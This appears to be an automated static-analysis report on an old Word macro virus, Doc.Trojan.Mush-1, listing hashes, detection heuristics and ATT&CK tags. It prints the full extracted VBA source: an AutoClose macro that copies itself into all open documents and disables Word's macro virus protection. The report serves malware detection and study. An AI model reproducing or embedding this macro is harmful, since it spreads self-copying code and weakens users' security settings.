Doc.Trojan.Mush-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 0deaaba3cdbfce1c…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 20997f8f6902c3eb7ec5f271b94753d8 SHA-1: f0357d18cefe3b8755dea170e26a4d6dc49f43f8 SHA-256: 0deaaba3cdbfce1cbe3a0746039bd59519cb9a6f56206e9da48abcff35255ba1
200 Risk Score

Malware Insights

Doc.Trojan.Mush-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Mush-1. It contains a VBA macro within the 'macros.bas' file, specifically an AutoClose macro. This macro is designed to copy itself to other open documents, indicating a propagation mechanism. The presence of the AutoClose macro and the ClamAV detection strongly suggest a malicious intent, likely to spread further or deliver a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Mush-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mush-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 838 bytes
SHA-256: 79800a081137ebd69eaad07898715d3be6e3757346a81757e4922c653dfc4123
Detection
ClamAV: Doc.Trojan.Mush-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MushRoom"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro creata il 16/05/99 da Hacker's god"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoclose"
On Error Resume Next
Dim S, D, i
S = ActiveDocument.FullName
For i = 1 To Documents.Count
D = Documents(i).FullName
Application.OrganizerCopy Source:=S, Destination:=D, Name:="MushRoom", Object:=wdOrganizerObjectProjectItems
Next i
Options.VirusProtection = False
If Month(Now) = 10 And Hour(Now) < 7 Then MsgBox "MushRooms!"
'Mushrooms are tasty, aren't they?
End Sub

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